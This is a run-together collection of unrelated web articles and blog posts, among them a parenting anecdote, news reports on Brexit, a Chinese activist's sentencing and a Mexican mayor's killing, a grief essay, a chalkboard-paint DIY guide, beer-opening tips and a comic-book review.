Find toddler flinging kitchen magnets over her shoulder. Pick up toddler with one arm and remove pajama bottoms with the other. Attempt to stand toddler up and try to undo diaper tabs. Toddler refuses to put her feet back down on the floor. Toddler wiggles out of one-armed grasp and heads toward couch again.
Dog needs to come in. Break off from toddler-wrestling to let in dog.
Return to toddler and take off diaper. Begin the chase with the new pull up. Dog begins barking at the complete lack of anything in the front yard. Scream at dog. Half-naked toddler repeats horrible thing said to dog while running down the hall to her room. Smack myself in the face. Twice.
Capture toddler, replace diaper. Remember that chosen school outfit pants are still in living room. Attempt to convince toddler to return to living room. Bribe toddler with an episode of Mickey Mouse Clubhouse. Toddler runs to living room chanting “MeeeeeeMoooowwwzzzzCluh-Howz” Take a swig of coffee while passing through kitchen back to living room. Knowing full well that Mickey Mouse Club House makes me bleed out my eyes, I press play.
Pants. Socks. Shoes. Check to be sure she has smoothie, cheerios and that the dreaded “MeeMowz” is playing ok. Walk back to kitchen to take a triumphant sip of coffee. Hear dog behind me thrashing about on the couch. Smoothie magically appears down wall, dog and school outfit. Dog decided he doesn’t like the smoothie on his face and proceeded to rub it off across the back of the couch. Repeat above steps. Starting to wish I smoke. Crack.
Second trip to the car: my phone, coffee, and Maddi’s water. Back inside to remind Maddi that MeeMowz has to take a break because we need to go play with the kids at school. Maddi turns to me, pauses, and then repeats the horrible thing I said to the dog 20 minutes ago, only this time to the tune of Frozen’s “Let it go”. Snatch up toddler. Head to car.
Backing out of drive way to a slow low growling “meeeeemmoooooowwwzzzzzcllluuuuuhhhhh-hoowwwzzz”. Remind toddler “we are going to see the kids, don’t you want to go play with the kids?!” while stabbing at a selection of Nowhere’s Bellybutton’s finest radio stations preprogrammed into the dash. News. Dead air. Country (worse than dead air). Commercial. Commercial. [“MMMMMEEEEEMMMMOOOOWWWWZZZZZZZZZZZZZZZ”]Commercial. Last button- 80’s station playing Rod Stewart’s Forever Young. Dear God really?!? Is this what I’ve been reduced to?! The howling stops… but that was the last verse because the song ended. Begin stabbing at buttons while the chant gets louder and deeper “MMEEE MOOOWWWZZZZZZZCLUH-HOWWWZZZZ” “Sweetie- we are on our way to play with the kids! What do you think you’ll do today? Play outside?” “meeeeeemmoooowwwwzzzzzzzzzzzzzzz“. While all of this is going on on the outside, I can’t help thinking about the Tutti Frutti scene in Devil’s Rejects. (There is no f*^king MeeMowz in your f*^king future, man). When you start relating Rob Zombie movies to your daily life, you really need to reboot. Oh look- The SCHOOL!!!! I’m saved!
Out of the car carrying 30 pound toddler, her day bag, my purse and her extra diaper bag. I pause to make a mental note to pick up my sherpa license at the DMV on the way home because DAMN I’m good. Only 20 minutes later, her fingernails slowly start to release their grip from the flesh on the back of my neck and she settles into bubbles and water toys with the other kids. I slip out the back and make it half way to the jeep when the icy cold realization that I’ll be back here in three hours to pick her up and do it all again sets in. Can I make it to the Mexican border in 3 hours?
Happy 2nd Birthday Maddi! Despite the chaos, I can’t be anymore in love with you.
AdvertisementsPublic schools are failing at what the nation’s founders saw as education’s most basic purpose: preparing young people to be reflective citizens who would value liberty and democracy and resist the appeals of demagogues. In that sense, the Trump phenomenon should be a Sputnik moment for civics education. Just as Soviet technological advances triggered investment in science education in the 1950s, the 2016 election should spur renewed emphasis on the need for schools to instill in children an appreciation for civic values and not just a skill set for private employment.
As we outline in a new report for The Century Foundation, entitled “Putting Democracy Back into Public Education,” the Founders were deeply concerned with finding ways to ensure that their new democracy, which through the franchise provided ultimate sovereignty to the collective views of average citizens, not fall prey to demagogues. The problem of the demagogue, the Founders believed, was endemic to democracy, and they saw education as the safeguard of America’s system of self-governance.
The Founders wanted voters to be educated so they could discern serious leaders of high character from con men who do not have the nation’s interests at heart. Beyond that, public education in the United States was also meant to instill a love of liberal democracy: a respect for the separation of powers, for a free press and free religious exercise, and for the rights of political minorities. Educating common people was the answer to the oligarchs who said the average citizen could not be trusted to choose leaders wisely.
The founder of American public schooling, the 19th-century Massachusetts educator Horace Mann, saw public education as the bedrock of the country’s democracy. He wrote: “A republican form of government, without intelligence in the people, must be, on a vast scale, what a mad-house, without superintendent or keepers, would be on a small one.” Teachers, the Supreme Court Justice Felix Frankfurter wrote, should be regarded “as the priests of our democracy.”
Yet in recent years, democracy has been given short shrift in American public schooling in two important respects: the curriculum that is explicitly taught to students does not place democratic values at the center, and the “hidden” curriculum of what students observe on a daily basis no longer reinforces the importance of democracy. The failure of schools to model democracy for students is critical, as the Rochester teachers’ union leader Adam Urbanski has noted, because “You cannot teach what you do not model.”
The explicit civics curriculum has been downplayed in recent years. With the rise of economic globalization, educators have emphasized the importance of serving the needs of the private marketplace rather than of preparing citizens for American democracy. On one level, this approach made some sense: As the country celebrated two centuries of continuous democratic rule, the paramount threat seemed to be economic competition from abroad, not threats to democracy at home. So the bipartisan education manta has been that education should prepare students to be “college-and-career ready,” with no mention of becoming thoughtful democratic citizens. In a telling sign, in 2013, the governing board of the National Assessment for Educational Progress dropped fourth- and 12th-grade civics and American history as a tested subject in order to save money.BRUSSELS (Reuters) - Britain and the European Union struck a divorce deal on Friday that paves the way for arduous talks on future trade ties, easing immediate pressure on Prime Minister Theresa May and boosting hopes of an orderly Brexit.
May rushed to Brussels before dawn to seal a European Commission agreement that “sufficient progress” had been made to begin talks about trade and a two-year Brexit transition period that will start when Britain leaves the EU on March 29, 2019.
Negotiators in London, Brussels and Dublin worked through the night before breaking an impasse over the status of the Irish border, the last major obstacle to the opening of trade talks which EU leaders are due to bless at a summit on Dec. 15.
But though the Irish prime minister called a British pledge to avoid a destabilising “hard border” for Northern Ireland a “bullet-proof” commitment, one senior EU official conceded that wording to appease May’s Belfast allies was a “fudge” which had simply put off until later the need to “square the circle”.
While Northern Ireland would remain aligned with the rules of the EU’s single market and customs union under which member state Ireland operates, May’s government is officially committed to leaving both the single market and customs union.
Actual negotiations on a trade pact that may take several years to agree may not start for some months. But EU officials said they should be ready to start rapid talks in January to give May the transition period she wants to reassure business that not much will change for a couple of years after Brexit.
Speaking before sunrise at the EU executive’s headquarters after a hurried flight on a Royal Air Force plane, May said opening up trade talks would bring certainty for citizens and businesses about Britain’s future after quitting the EU.
“The most difficult challenge is still ahead,” European Council President Donald Tusk cautioned. “We all know that breaking up is hard. But breaking up and building a new relationship is much harder.”
May, looking weary after just a couple of hours sleep, spoke after Commission President Jean-Claude Juncker announced the breakthrough, first in English and then in German and French.
The move to agree trade talks 18 months after the United Kingdom’s shock vote to exit the EU allayed some fears of a disorderly Brexit that could disrupt trade between the world’s biggest trading bloc and its sixth-largest national economy.
Sterling was dented when last-minute objections from Belfast forced May to abort a deal on Monday while already in Brussels, but it climbed to a six-month high against the euro EURGBP=D3 on Friday. It later gave up earlier gains and turned lower on the day against the EU common currency as investors took profits after a sharp rally in recent days.
BREXIT DIVORCE?
Facing 27 other members of the bloc, May largely conceded to the EU on the structure, timetable and substance of the negotiations.
Moving to talks about trade and a Brexit transition was crucial for May’s own future after her premiership was thrown into doubt when she lost the ruling Conservative Party its majority in an unwisely called snap election in June.
“I very much welcome the prospect of moving ahead,” said May, a 61-year-old Anglican vicar’s daughter who herself voted to stay in the EU in the June 2016 referendum but has repeatedly insisted Britain will make a success of Brexit.
A senior British banker said the deal signalled May would stay in power for now and that Britain was heading toward a much closer post-Brexit relationship with the EU than many had feared.
Irish Prime Minister Leo Varadkar agreed. “...What phase one was always about was narrowing the parameters, and we are now funnelling and directing things into a situation where I believe the United Kingdom including Northern Ireland will remain in alignment with the EU on lots of regulations,” he told Irish national broadcaster RTE on Friday evening.
Heralding pitfalls ahead, however, Scotland’s leader Nicola Sturgeon swiftly cited the promise of free trade on the Irish border as removing an argument used to dissuade Scots from breaking their union with England to rejoin the European Union.
Draft guidelines showed the transition period, which would start on March 30, 2019, could last around two years, as May has requested. During that time, Britain will remain part of the EU’s customs union and single market but no longer take part in EU institutions or have a vote.
It will also still be subject to EU law.
Pro-Brexit Conservative lawmakers rallied around her after the deal. This looked like a signal that the party, which has been split over EU membership for generations, was not preparing to ditch her immediately despite the election fiasco in June that left her government dependent on the support of Northern Ireland’s Democratic Unionist Party (DUP).
British Foreign Secretary Boris Johnson, who spearheaded the 2016 Brexit campaign, congratulated May, adding that Britain would now take back control of its laws, money and borders.
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through the roof. Youth use of weed is not increasing drastically, as predicted.
The lies we have been told for decades about why weed should be kept illegal are falling on deaf ears. The numbers don’t add up.
Those who oppose legalization continue to try and retard the growth of the developing cannabis industry, and clear move for social change in drug and law enforcement policy. There are many who see their meal ticket threatened and are working feverishly to preserve some level of status quo so they can keep making criminals and drug addicts out of your average weedhead. These days are ending and they know it as much as anyone.
We like weed. We are good people. This is bullshit. The sky is not falling, asshole. Let’s wrap this shit up and legalize weed. Then we can talk about all these tanks and other petty drug crimes that we have created a war on our neighbors over.
The time is now. Let’s knock off the bullshit already.AMSTERDAM — As the airport lounge filled with passengers waiting to board Malaysia Airlines Flight 17, a renowned professor rushed to the gate while texting a colleague, saying that he was “superbusy.”
Veering into the business-class line, Joep Lange, an AIDS researcher, passed a former election observer who had just returned from Ukraine. They were among 298 passengers and crew aboard the flight, which was shot down over Ukraine on Thursday.
The disaster claimed the lives of a number of people headed to the International AIDS Conference, scheduled to begin on Sunday in Melbourne, Australia, the International AIDS Society said on Friday. Dr. Lange, 59, was accompanied by his partner, Jacqueline van Tongeren, 64. He was the executive scientific director of the Amsterdam Institute for Global Health and Development, and she worked as a communications director there.The last Kmart store in the Dayton area will close in September, according to a WARN notice sent to state officials.
The store located at 601 Woodman Dr. will close, and employee separations are expected to occur on Sept. 24 or during the 14-day period starting on that date, according to a letter sent to the the Ohio Department of Job and Family Services. Approximately 73 employees at the location will be impacted.
“This is part of a strategy both to address losses from unprofitable stores and to reduce the square footage of other stores because many of them are simply too big for our current needs,” Sears Chief Executive Eddie Lampert said in a blog post on the closures.
Kmart will also close a store located at 4480 Indian Ripple Road in Beavercreek this month.
» STORE CLOSINGS: What’s really going on?
Sears Holdings lost $2.2 billion in sales in 2016. In late March, the company issues a somber message and officials said there is “substantial doubt” that Kmart and Sears can continue to survive. The ominous warning came in an annual report filed with the Security and Exchange Commission.
FIVE FAST BUSINESS READS
» HomeGoods parent company launches new spinoff store chain
» What’s next for Austin Landing? Developer envisions expansion
» ALFRED ANGELO STORE CLOSURES: 5 things to know
»Children’s clothing retailer closing 350 stores, including 3 locally
» Employers less likely to hire applicants with no social media presenceDwight Howard will look to save his reputation in Atlanta. (AP Photo/Carlos Osorio)
One of the most curious players on the 2016 free agent market came off the board Friday afternoon when the Atlanta Hawks agreed to terms with eight-time All-Star and three-time Defensive Player of the Year Dwight Howard. As reported by The Vertical’s Shams Charania, Howard will make $70.5 million over three years, or just a tad more per-year than the $23.3 player option that Howard turned down to leave the Houston Rockets and become an unrestricted free agent. The 30-year-old center will return to his hometown of Atlanta in the hope of reclaiming the form that made him such a force with the Orlando Magic and a very popular free agent three summers ago.
It must be said that Howard’s chances of making that happen look pretty negative. Howard receives more criticism than he deserves thanks to his disastrous season with Kobe Bryant and the general impression that he likes jokes and candy more than basketball, but he’s still an effective player when healthy enough to stay on the court. Howard suffered through various back, knee, and shoulder woes over the past few seasons but played 71 games in 2015-16, averaging 13.7 points, 11.8 rebounds, 1.6 blocks, and 32.1 minutes per game with an 18.9 PER. Those aren’t the All-NBA numbers we grew accustomed to during Howard’s heyday, but they’re worth $23.5 million per year in this free-for-all market. In fact, Howard ranks as one of the better bargains on Friday’s list of deals, especially considering the Hawks didn’t have to give him the fourth season that Timofey Mozgov, Joakim Noah, and other more concerning players.
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There’s also good reason to think that Howard will be a better fit in Atlanta than he was in Houston. The Rockets’ construction around James Harden meant that Howard rarely got the ball on offense — his 8.5 field-goal attempts per game in 2015-16 were his lowest since his rookie season — and had to take on the bulk of defensive responsibilities as a rim protector. Injuries had robbed him of the defensive brilliance that made the Magic such a quality defensive team, and a lack of chemistry ensured his teammates were in no position to make up the difference. Howard is certainly a player with faults, but the situation in Houston brought out the worst in him.
The Hawks offer a more cohesive team structure with All-Star Paul Millsap and head coach Mike Budenholzer as mainstays. While Al Horford looks on his way out after the Hawks brought back wing Kent Bazemore at $70 million over four years on Friday night, Millsap is one of the best forward defenders in the league and a no-nonsense personality. The Hawks have lots of questions, including whether Dennis Schröder can thrive as a starter now that Jeff Teague is with the Indiana Pacers, but they are reasonable ones for a group that needed to make changes following two consecutive playoff sweeps at the hands of the Cleveland Cavaliers.
This situation can work for Howard. He will have enough help to be an effective defensive anchor, will be a piece of an offense predicated on balance, and will have enough stable veterans around him to read as a “fun” personality and not a too-silly loser. He should be even better if the NBA changes the rules surrounding intentional fouls.
More than anything, though, Howard should be helped by the fact that no one really expects him to play like a superstar anymore. The Rockets probably shouldn’t have expected a 20-and-10 superstar last season, either, but the expectations that came with his 2013 arrival demanded he do more. The Hawks should have no such illusions. Like all of us, they know what Howard lacks.
If Howard can survive the hit to his ego, he now has a legitimate chance to remake himself as the kind of high-quality center who challenges for an All-Star spot in the less competitive East field. His days as the league’s most dominant interior presence are clearly done, but there are other ways to build a strong reputation in the NBA.
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Eric Freeman is a writer for Ball Don’t Lie on Yahoo Sports. Have a tip? Email him at efreeman_ysports@yahoo.com or follow him on Twitter!
Follow @FreemanEricMotorola offers $150 discount on unlocked versions of Moto Z, Moto Z Droid, and Moto Z Force Droid Edition. This not the first time that Moto Z smartphones are available on discounts. In the past few weeks, Best has offered several deals on the new modular Motorola devices. However, this is the first time that Motorola itself is offering a crazy discount on several unlocked Moto Z models.
You can avail this discount by visiting the Motorola website and entering a promo code. After applying the $150 dollars discount, the Moto Z Droid can be purchased for $474. The price of Moto Z Force drops to $570 while the unlocked version of the Motorola Moto Z can be grabbed for $549. If you have been looking to buy A Motorola Moto Z, this is the best deal you can get right now. If you are not in a hurry you should wait further for the prices go down even more. The deal will be available until November 18 so you have more than three weeks to make your decision.
A little about the Moto Z
For those of you who haven’t heard of a Motorola’s Moto Z smartphones before, Motorola Moto Z is the new flagship brand of phones with an innovative modular type of design. Motorola Moto Z smartphones allow you to slap different Mods at the back of the device. Motorola Moto Z features weirdly slim modular design. There is a 5.5 inches QHD AMOLED screen on the front. The rest of the specs includes a 13 MP camera, Qualcomm Snapdragon 820 processor, 4GB RAM and 64GB built storage along with microSD card support. The battery on the Moto Z is just 2600 mAh which is quite disappointing but you can strap a battery Mod at its back to get a few hours extra battery life.
If you are the one who wanted to buy a Moto Z but did not find the launch price justified, it is a good time to score a Moto Z. Click on the link in the source below to buy the discounted Unlocked Moto Z, Moto Z Droid edition or Moto Z Force Droid Edition. (Excuse me if there are any mistakes, I went to sleep a few times while writing this article and don’t have the stamina to proofread.)
Source: Motorola“We meet but briefly in life, if we touch each other with stardust, that is everything.” ~Unknown
We had baked chicken and mashed potatoes with gravy that evening. It was the kind of hearty meal that warms you up on a damp March night.
As I said goodnight, I couldn’t have imagined that in just a few hours I would return to my parents’ house and everything would be changed forever.
But so it goes. Nothing in life is permanent.
I’ll never forget that phone call. I felt everything drain out of me and then it seemed as though everything stopped. My mind couldn’t seem to absorb that my father had died.
I kept saying, “But we just had dinner.” “He was getting better.” And, “Everything was okay”
When I arrived back at my parents’ house, it was surreal.
The quiet conversation and enjoyable meal we’d enjoyed only a few hours ago had been replaced by a chaotic, confusing scene.
I remember flashing lights, lots of people running around, the sad scared faces of those I loved, and tears, lots of tears.
I was a wreck at the funeral and not sure if I could speak, but as I stood at the podium, a strange peaceful feeling come over me. A sort of clarity and profound realization. A deep connection to life that I’d never felt before.
Nothing helps you understand the fleeting beauty of life more than death. Nothing helps you understand what is important in life more than death.
And most important are the people in our lives. The connection, the bond, the love, the nurturing, the stories, and the memories that we share.
These are the great gifts of life, and death teaches us to grab hold of them, because we know they won’t last forever.
I thought I knew life but I didn’t, until that day.
Enlightening lessons death can teach you about life:
1. The power of love
A few months after my father died, I found myself stuck. I was angry that he died and angry that I couldn’t do more to help him. With the loving support of the people in my life, I was able to move past the anger and start to focus on the time we had together.
The power of love saw me through those dark days.
If you’re struggling after the death of a loved one, reach out for support and pay homage to your loss by letting your love shine. Although they are no longer with us, our loved ones live on in our hearts, our minds, and our dreams.
Love is universal and transcendent; it knows no boundaries and reaches far beyond the physicality of this world.
2. The power of impermanence
Have you ever experienced a loss and felt like you were losing control? You desperately try to pull in the reigns, but you can’t.
We all like to have a sense of control, and a certain degree is important in terms of our survival. If we don’t organize our lives, follow rules, and work within the structure of society, we’ll find ourselves in a state of chaos.
When someone dies, you realize that life is not permanent and that nothing will last forever no matter how much control you try to exert. This is actually what makes it so profound.
Life is like a rainbow. The light and rain form its beauty, and then it fades. The gold is the shared journey and the profound expression of our lives.
3. The power of acceptance
The grieving process is difficult.
I remember being in denial and saying things like, “I can’t believe it’s true.” I spent a lot of time being mad at the world and myself.
I bargained by thinking, “If only I’d done this” and “I should have done that.” The void of depression took the form of, “I am so sad; I’ll never get past this.”
And finally, I accepted that he was gone and I needed to move forward.
During this process I resisted the reality of my loss. The stages of grief gave me time to come to grips and handle what had happened.
Ultimately, the resistance melted and I was able to lean into life again. You can’t move forward without acceptance.
4. The power of transformation
Loss and struggle hold the seeds of transformation. I don’t think anybody wants to experience pain. I know I sure don’t.
But as I have experienced loss and struggle in my life, I have noticed a pattern: I get stronger, and the seeds of that struggle result in growth.
Life is a continual process of struggle, transformation, and growth. Although it may not always seem obvious, if you look at growth you can always trace it back to the struggle that preceded it.
You may be hurting now but something good is on the horizon.
5. The power of awareness
It is possible to go through long periods of life without ever expanding our consciousness.
Prior to my father’s death, my conscious awareness was limited. I was in a safe, secure bubble, casually going about my life.
I didn’t question life and I didn’t question the choices I made. I was not fully aware; I was not on purpose. I did not have a sense that my time was limited, nor did I get that life was a gift.
Death can initiate the process of expanding your awareness, because it challenges you to question your view of life itself and what you do with yours.
6. The power of presence
So much of life is consumed by the struggle to survive and compete.
I spend most of my time trying to cover my family’s basic needs, striving to succeed, and wading through the bombardment of materialism.
When I find myself getting distracted by the “stuff” in my life, I try to take a step back and focus on the warmer, more soulful parts of me that make me feel alive and present. I take time to get away from the noise and distractions, and focus on spending time with the people in my life.
The paradox of death is that it points to what it means to be alive. Aliveness has to do with experience, connection, and full expression. What makes your feel alive and present?
7. The power of connection
Have you ever stepped outside your ego and connected to something bigger than you?
When you’re on purpose or following your calling, you are guided internally, and yet you are also connecting to something beyond you.
This is the experience I think most of us would like to have, but we get stuck in our ego-based thinking.
Life events like death humble us and open us up to the possibility of waking up and stepping outside our ego. This gives us a chance to connect to something bigger than ourselves and do what is truly important.
—
Death is powerfully enlightening, but you don’t have to wait for someone to die to change the way you live.
Each day you have an opportunity to create a life with purpose and meaning. Commit to being fully alive and expressing your highest self.
Life is brief. Use it to spread a little stardust.
Photo by gtall1
About Sheila McCann Sheila McCann is the creator of the Rainbow Framework, a universal framework for life, love, wealth, and creativity. One look and you'll get life in a big way. Pop on over and get your free rainbow framework e-book and visual.A Chinese democracy activist has been sentenced to 10 years in prison for advocating government change in online articles.
The trial came amid a crackdown on activism in China that may reflect government anxiety about unrest inspired by uprisings in the Middle East and North Africa. Dozens of well-known Chinese lawyers and activists have vanished, been interrogated, held under house arrest or criminally detained for subversion.
Activist Liu Xianbin, who has previously spent a decade in prison, was found guilty of inciting subversion of state power by the Suining intermediate people's court in Sichuan province after a trial that lasted a few hours, his wife, Chen Mingxian, said.
Chinese law says inciting subversion carries a penalty of up to five years in prison, but a court can impose a longer sentence if the offence is deemed particularly grave.
Chen said she and Liu's elder brother had been allowed to attend the trial. She said her husband was calm and composed and looked relatively well, but that the judge frequently interrupted Liu and their lawyer's attempts to present a defence.
"The 10-year sentence to me, because we've already been through 10 years … is a repeat of the painful process, one in which I can only watch and wait anxiously," said Chen, who is a schoolteacher. The couple have a 13-year-old daughter.
China's government routinely uses the subversion charge to jail activists it considers troublemakers. It is not the first time Liu has been accused of it.
An indictment advice issued by the Suining public security bureau points to articles Liu wrote between April 2009 and February last year that were posted on overseas Chinese pro-democracy websites.
Liu was the author of articles that "libelled" the Communist party's leadership as "autocratic rule" and "on many occasions incited others to subvert the country's state power and socialist system", the police notice said, according to Chinese Human Rights Defenders, a China-based rights group.
In the articles, Liu allegedly also urged the Chinese to "create a strong opposition organisation" and advocated large street protests, among other things, the advice said.
"Liu's harsh sentence is part of the Chinese government's growing intolerance towards human rights activism, as reflected in the continued and widespread crackdown on activists following the online call for a 'jasmine revolution,'" said the group's research co-ordinator, Wang Songlian.
Activists in Sichuan province and elsewhere reported being taken away by police to prevent them from attending Liu's trial while others were warned against trying to go, Wang said.
Liu was a founding member of the China Democracy party and was convicted in 1999 of subversion of state power and sentenced to 13 years in prison. He was released in November 2008.
After his release, Liu continued to be involved in several high-profile human rights activities, his wife said.
He was a signatory to the Charter 08 manifesto, which called for an end to single-party rule and advocated democratic political reforms. Chinese authorities have harassed supporters of Charter 08, and co-author Liu Xiaobo was sentenced in December 2009 to 11 years in prison for incitement to subvert state power.
Liu Xiaobo was awarded the Nobel peace prize last year for his democracy activism, an honour that China condemned. Liu Xiaobo and Liu Xianbin are not related.Tom Vanderbilt in NYT: Jaywalking Tickets Don’t Make Streets Safer
Enforcement of jaywalking doesn’t improve pedestrian safety. So what will? Tom Vanderbilt, best-selling author of Traffic: Why We Drive the Way We Do, gave a succinct answer in a New York Times op-ed this weekend. Our cities will be safer to walk in when we have “better walking infrastructure, slower car speeds and more pedestrians.”
It’s that simple. Police departments in cities around the country — including, disappointingly, Bill de Blasio’s New York — crack down on pedestrians who break the letter of the law even though, Vanderbilt says, “more pedestrians generally are killed in urban areas by cars violating their right of way than are rogue pedestrians violating vehicles’ right of way.”
“Then there are those people struck on sidewalks, even inside restaurants,” Vanderbilt writes. “What do we call that? Jay-living?”
Vanderbilt applauds pedestrian-oriented street fixtures like countdown clocks and even the simple walk signal, then he dismisses the beg button as unnecessary in New York, where there are always enough pedestrians to warrant a walk phase.
I do think beg buttons have their place — specifically, where inductive loops under the roadbed change the traffic signal but don’t pick up the scent of a simple human. These are especially useful where small streets intersect with big ones that have long signal phases. (And they can be especially entertaining when you can play pong with someone across the street while you wait.)
But his larger point is indisputable: Blaming pedestrians for the destruction wrought by motorists is disastrously misguided. Drivers need to be held responsible for any crash they could have reasonably prevented, no matter what the pedestrian was doing. The fact that the most vulnerable and least destructive people on the streets are getting hefty fines from police is ludicrous. If we want to make our streets safer for people walking, we will design our streets to welcome and protect them.Chalkboard paint can turn any surface (and space) into a creative playground. It can be used to make fun party backdrops, a creative space on your child's play-table or even a neat way to keep the family all up to date with a chalkboard wall in the kitchen. Besides saving money, one of the best benefits of mixing your own chalkboard paint is you can mix any color your heart desires. This tutorial shows you how to make the best chalkboard paint by mixing simple ingredients that you may already have lying around the house! We will be painting a flat board to use as a backdrop for family get togethers. When you are planning out your chalkboard project, don't limit yourself to walls– table tops, flower pots and other kinds of furniture make great chalkboard paint canvases too!
How to make the best chalkboard paint at home:
Supplies You Need:
Matte latex paint – color of your choosing
Non-Sanded tile grout (powdered)
Paint roller
150 Grit Sandpaper (this is for smoothing your surface if needed)
Something to mix the pain with
Mixing container
Chalk
Step 1:
Before you start mixing your chalkboard paint, clean the surface you are about to paint. You may need to sand down some rough spots, so be sure to wipe the surface down to remove any dust. This will help the paint adhere to the surface better as well as make your paint job last longer.
Step 2: Let's start mixing! The chalkboard paint mixture doesn't store as well as regular paint and will start to harden, so you'll want to mix small batches at a time to reduce waste. If you're not sure how much to mix for the size of your surface, a helpful rule to follow is a ratio of one part grout to eight parts paint. Our surface measures in at 2′-8″ x 4′ so we mixed up 1 cup of paint and 2 tbsp of grout. We were able to get two solid coats out of this amount!
Step 3: Once you've mix your paint well, grab your brush and start painting! We used a roller for our application process, so we dumped our mixture into a small painting pan. If you're using a foam brush, just dip the brush directly into your mixing bowl and start painting.
Step 4: Now, we wait. Before you do anything else to your surface, you'll need to let it dry Step 5: You'll need to condition (kind of like seasoning) your newly painted chalkboard before you can actually use it as a chalk board. To do this, grab a piece of chalk and rub it across the surface and then wipe it off with a slightly damp paper towel. Enjoy your custom made chalkboard! We hope you enjoyed our Chalkboard Paint How-To | Instructions!At his home outside of Fredericksburg, Virginia, Dino Brugioni, a sharp 91 year old, gives me a lesson in photo interpretation. On his kitchen table are some of the most consequential reconnaissance photographs from the 13 tense days of the Cuban Missile Crisis.
Brugioni was charged with preparing annotated briefing boards for the president during the events that played out 50 years ago this week. As a founding officer of the CIA’s National Photographic Interpretation Center, secretly headquartered in downtown D.C. on the floors above a car dealership, Brugioni and his fellow photo analysts carefully scanned the black-and-white landscapes taken by U-2 spy planes 70,000 feet above Cuba. They pinpointed any missiles, launch pads and other equipment found on the ground.
“When you look at the photography, you are looking for anything that is alien to that environment,” says Brugioni.
At the peak of the crisis, Brugioni and other photo interpreters were reviewing 30 to 40 rolls of film per day. They were familiar with Cuba’s sugarcane fields, ranch land, railroads and baseball diamonds, so Soviet tents and missile trailers stood out. Analysts were also trained to spot certain “signatures,” or man-made patterns in the earth indicative of missile sites.
The National Air and Space Museum has in its collection hundreds of reconnaissance photographs from the Cuban Missile Crisis, many donated by Brugioni himself. The following images are some of the most incriminating. Click on the yellow tabs on the photographs to see how Brugioni and his colleagues gathered intelligence about the nuclear buildup in Cuba.The former mayor of a town in western Mexico, who had survived two earlier assassination attempts, has been beaten to death.
The body of Maria Santos Gorrostieta, 36, was found in a ditch with a blow to the head three days after her family had reported her missing.
When she was mayor of the town of Tiquicheo she was twice shot at by gunmen, who also killed her husband.
Mexican officials have increasingly become targets of drug cartels.
There have been calls for the federal government to do more to step up their security.
'Clear conscience'
Ms Gorrostieta was the mayor of Tiquicheo, in western Michoacan state, from 2008 until 2011.
Unidentified gunmen ambushed her in October 2009 as she was travelling in a car with her husband Jose Sanchez.
Mr Sanchez died of gunshot wounds sustained during the attack.
Three months later Ms Gorrostieta was seriously injured in a second ambush.
After being released from hospital following the second attack on her life, she said she did not know why she was being targeted.
"I have a clear conscience, I have never had any issues of any kind, be it money, family or crime related, and I have never had any fights with any neighbours or residents of my town, or any other town," she said.
She also published pictures of the scars she had sustained in the two attacks in her local newspaper with a message thanking her family and supporters and vowing to "continue fighting, true to my ideals and my convictions, convinced that the truth will make us free".
About two dozen mayors have been murdered since President Felipe Calderon declared war on drug traffickers six years ago.
While police say the motives behind the killings are not always clear, most attacks on local officials have happened in small and medium-sized towns in regions disputed by rival drug gangs.Share
The crisis? You want to enjoy a beer, but you have no bottle opener. Don’t panic, because we’re going to get through this thing.
After all, it’s surprisingly easy to open a beer bottle without an opener. All the bottle opener does is use a bit of leverage to bend the cap, anyway. So let’s create some leverage, and then let’s drink some beer.
A quick note before we get started: It’s easy to open beer bottles using rings, but the potential for damaging your ring or your metacarpal is very high, so we’ve left that one out.
How to Open a Beer Bottle with a Lighter
If you or one of your friends has a lighter on hand, then you have a bottle opener on hand. Truth be told, this most basic beer bottle opening “hack” can be performed with almost any sturdy object that is vaguely lighter-shaped and offers an edge.
The factors at play here are the use of your index finger as a fulcrum and the edge of an object, usually a lighter, as the pry point. Hold the bottle’s neck in your nondominant hand, dig the butt of the lighter (please do not use the flame part) under the lip of the bottle cap, crook your index finger (some people use their thumb instead) to rest the lighter across your knuckle, then press down. If at first you don’t succeed, then dude, what did you even learn in college?
How to Open a Beer Bottle with Another Bottle
If you believe in the founding principle of homeopathy, “like cures like,” then stay the hell away from me and my family if we’re ever in need of medical care. However, if you believe in the notion that “beer opens beer,” you’re right on! Indeed, few things grip the little ridges of a bottle cap better than the little ridges of another bottle cap.
Simply hold one beer nice and steady, ideally with its bottom pressed down on a table or the bed of your pickup, then use the cap of another bottle to hook and rip off said bottle cap. The catch here is that you won’t know for sure which bottle is going to open, so be ready to turn the “opener beer” upright ASAP. (The other catch is that at the end of the drinking session, one beer may still be capped!)
How to Open a Beer Bottle with Money
No, I don’t mean you should pay someone else to open your bottle for you, though that’s probably the easiest way to go about this and other aspects of life, budget permitting. What I mean is this: a dollar bill (use a $1, a $50, or a $2, it’s all good!), folded enough times, can create an object solid enough to provide much the same leverage as the lighter we discussed above. Start by folding the bill in half across its shorter access (like across the face of the person feature), then fold it in half lengthwise as many times as you can. You’ll be left with a dense little rectangle of cash that should help you to leverage open that bottle.
How to Open a Beer Bottle with an Edge
This is both one of the most satisfying and most potentially destructive ways to open a beer bottle, so it’s a double win! Simply hook the edge of that bottle cap onto the lip of a table, counter, door frame, wall, truck bed, etc., then slam your other hand down onto it. If done properly, the cap will fly off! If done improperly, you will:
Break the bottle’s neck, imperiling your beer and your person.
Miss, potentially hurting yourself and dropping your beer.
Damage the surface to which the beer is being held.
All of the above!
This technique will almost surely damage the surface you are using to catch the lip of the bottle cap, so don’t try it with a nice granite counter or walnut desk — this is an outdoorsman’s technique. We suggest you practice with a bottle of cheap beer.
Don’t Use Your Teeth
Never, ever, ever try to open a beer bottle with your teeth. Ever. Think of those as a bottle nope-ner. Y’like that? I sure did. That’s why I jammed it in here.
Article originally published September 20, 2016. Last updated in February 2019.In recent months, we’ve noted how Savage Dragon, noted for pushing content acceptability over the decades, had been pushing it further regarding sexual content. With scenes and storylines closer in tone to Sex Criminals rather than classic Dragon.
In today’s issue, Erik Larsen relishes in the content rating the comic now has.
So this issue of Savage Dragon, which sees the return of the original Angel to the Dragon’s Earth, started innocently… but included what could be seen as a Basic Instinct moment, or could be a colouring error. It seemed out of place, but Bleeding Cool advertising standards mean I must make censorship of my own… and using Erik Larsen’s smiling face to do so.
I know that seems creepier than the original but what’s a writer to do?
While Dragon is fighting alongside a new powered-up hero, whose powers have stripped her of her clothes, against energy-formed creatures with huge appendages, reminiscent of the homunculi in last week’s Sex Criminals.
While back at home, Malcolm’s wife Maxine is, basically, insatiable in Malcolm’s absence.
You know that’s gone in her eye. Oh and confirmation that the previous scene wasn’t a colouring error…
